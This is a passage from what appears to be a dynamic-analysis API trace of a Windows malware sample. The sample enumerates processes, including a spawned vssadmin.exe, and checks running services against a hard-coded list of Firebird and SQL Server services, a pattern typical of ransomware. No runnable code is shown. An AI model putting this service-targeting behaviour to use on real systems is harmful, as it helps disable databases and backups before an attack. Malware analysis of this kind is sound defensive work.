lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="picks blair.exe")) returned 1 [0211.243] lstrlenW (lpString="picks blair.exe") returned 15 [0211.243] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="posted_boating_anthony.exe")) returned 1 [0211.244] lstrlenW (lpString="posted_boating_anthony.exe") returned 26 [0211.244] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="principal.exe")) returned 1 [0211.244] lstrlenW (lpString="principal.exe") returned 13 [0211.244] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="transportation.exe")) returned 1 [0211.245] lstrlenW (lpString="transportation.exe") returned 18 [0211.245] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bind-representation-scared.exe")) returned 1 [0211.245] lstrlenW (lpString="bind-representation-scared.exe") returned 30 [0211.245] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="supplements-reynolds.exe")) returned 1 [0211.246] lstrlenW (lpString="supplements-reynolds.exe") returned 24 [0211.246] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="planned.exe")) returned 1 [0211.247] lstrlenW (lpString="planned.exe") returned 11 [0211.247] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="springer andrew.exe")) returned 1 [0211.247] lstrlenW (lpString="springer andrew.exe") returned 19 [0211.247] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="cakes import.exe")) returned 1 [0211.248] lstrlenW (lpString="cakes import.exe") returned 16 [0211.248] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="theory.exe")) returned 1 [0211.248] lstrlenW (lpString="theory.exe") returned 10 [0211.248] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="linuxsouthantiques.exe")) returned 1 [0211.249] lstrlenW (lpString="linuxsouthantiques.exe") returned 22 [0211.249] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x20c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="saturn acknowledge rover.exe")) returned 1 [0211.250] lstrlenW (lpString="saturn acknowledge rover.exe") returned 28 [0211.250] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="tuition-flour-challenges.exe")) returned 1 [0211.250] lstrlenW (lpString="tuition-flour-challenges.exe") returned 28 [0211.250] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="raises_softball_tramadol.exe")) returned 1 [0211.251] lstrlenW (lpString="raises_softball_tramadol.exe") returned 28 [0211.251] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x624, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="indicescancellation.exe")) returned 1 [0211.251] lstrlenW (lpString="indicescancellation.exe") returned 23 [0211.251] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="keeping-guys-essence.exe")) returned 1 [0211.252] lstrlenW (lpString="keeping-guys-essence.exe") returned 24 [0211.252] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="desk.exe")) returned 1 [0211.253] lstrlenW (lpString="desk.exe") returned 8 [0211.253] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.253] lstrlenW (lpString="svchost.exe") returned 11 [0211.253] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0211.254] lstrlenW (lpString="sppsvc.exe") returned 10 [0211.254] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.254] lstrlenW (lpString="svchost.exe") returned 11 [0211.254] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0211.255] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0211.255] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0211.620] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0211.621] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x960, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0211.627] lstrlenW (lpString="winhost.exe") returned 11 [0211.627] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x67c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0211.628] lstrlenW (lpString="cmd.exe") returned 7 [0211.628] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x740, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0211.628] lstrlenW (lpString="conhost.exe") returned 11 [0211.628] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x124, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0211.629] lstrlenW (lpString="vssadmin.exe") returned 12 [0211.629] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x124, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0211.629] CloseHandle (hObject=0x208) returned 1 [0211.629] Sleep (dwMilliseconds=0x1f4) [0212.248] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x640158 [0212.248] EnumServicesStatusExW (in: hSCManager=0x640158, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0) returned 0 [0212.248] GetLastError () returned 0xea [0212.249] EnumServicesStatusExW (in: hSCManager=0x640158, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x60e218, cbBufSize=0x13a6, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x60e218, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0) returned 1 [0212.249] CloseServiceHandle (hSCObject=0x640158) returned 1 [0212.249] lstrlenW (lpString="Appinfo") returned 7 [0212.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0212.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0212.249] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0212.249] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0212.249] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0212.249] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0212.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0212.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0212.249] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0212.249] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0212.249] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0212.249] lstrlenW (lpString="AudioSrv") returned 8 [0212.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0212.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0212.249] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0212.249] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0212.249] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0212.249] lstrlenW (lpString="BFE") returned 3 [0212.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0212.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0212.249] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0212.250] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0212.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0212.250] lstrlenW (lpString="CryptSvc") returned 8 [0212.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0212.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0212.250] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0212.250] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0212.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0212.250] lstrlenW (lpString="CscService") returned 10 [0212.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0212.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0212.250] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0212.250] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0212.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0212.250] lstrlenW (lpString="DcomLaunch") returned 10 [0212.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0212.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0212.250] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0212.250] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0212.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0212.250] lstrlenW (lpString="Dhcp") returned 4 [0212.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0212.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0212.250] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0212.250] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0212.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0212.250] lstrlenW (lpString="Dnscache") returned 8 [0212.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0212.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0212.250] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0212.250] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0212.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0212.250] lstrlenW (lpString="DPS") returned 3 [0212.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0212.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0212.250] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0212.250] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0212.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0212.250] lstrlenW (lpString="eventlog") returned 8 [0212.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0212.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0212.250] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0212.250] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0212.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0212.250] lstrlenW (lpString="EventSystem") returned 11 [0212.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0212.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0212.250] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0212.250] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0212.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0212.251] lstrlenW (lpString="FontCache") returned 9 [0212.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0212.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0212.251] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0212.251] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0212.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0212.251] lstrlenW (lpString="gpsvc") returned 5 [0212.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0212.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0212.251] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0212.251] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0212.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0212.251] lstrlenW (lpString="iphlpsvc") returned 8 [0212.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0212.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0212.251] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0212.251] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0212.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0212.251] lstrlenW (lpString="LanmanServer") returned 12 [0212.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0212.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0212.332] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0212.332] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0212.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0212.332] lstrlenW (lpString="LanmanWorkstation") returned 17 [0212.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0212.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0212.332] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0212.332] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0212.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0212.332] lstrlenW (lpString="lmhosts") returned 7 [0212.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0212.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0212.332] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0212.332] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0212.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0212.332] lstrlenW (lpString="MMCSS") returned 5 [0212.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0212.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0212.332] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0212.333] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0212.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0212.333] lstrlenW (lpString="MpsSvc") returned 6 [0212.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0212.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0212.333] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0212.333] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0212.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0212.333] lstrlenW (lpString="Netman") returned 6 [0212.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0212.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0212.333] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0212.333] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0212.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0212.333] lstrlenW (lpString="netprofm") returned 8 [0212.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0212.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0212.333] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0212.333] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0212.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0212.333] lstrlenW (lpString="NlaSvc") returned 6 [0212.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0212.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0212.333] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0212.333] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0212.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0212.333] lstrlenW (lpString="nsi") returned 3 [0212.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0212.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0212.333] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0212.333] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0212.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0212.333] lstrlenW (lpString="PcaSvc") returned 6 [0212.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0212.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0212.333] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0212.333] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0212.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0212.333] lstrlenW (lpString="PlugPlay") returned 8 [0212.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0212.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0212.333] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0212.333] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0212.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0212.333] lstrlenW (lpString="Power") returned 5 [0212.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0212.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0212.333] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0212.333] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0212.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0212.334] lstrlenW (lpString="ProfSvc") returned 7 [0212.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0212.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0212.334] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0212.334] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0212.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0212.334] lstrlenW (lpString="RpcEptMapper") returned 12 [0212.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0212.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0212.334] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0212.334] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0212.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0212.334] lstrlenW (lpString="RpcSs") returned 5 [0212.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0212.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0212.334] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0212.334] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0212.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0212.334] lstrlenW (lpString="SamSs") returned 5 [0212.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0212.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0212.334] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0212.334] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0212.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0212.334] lstrlenW (lpString="Schedule") returned 8 [0212.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0212.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0212.334] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0212.334] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0212.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0212.334] lstrlenW (lpString="SENS") returned 4 [0212.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0212.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0212.334] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0212.334] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0212.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0212.334] lstrlenW 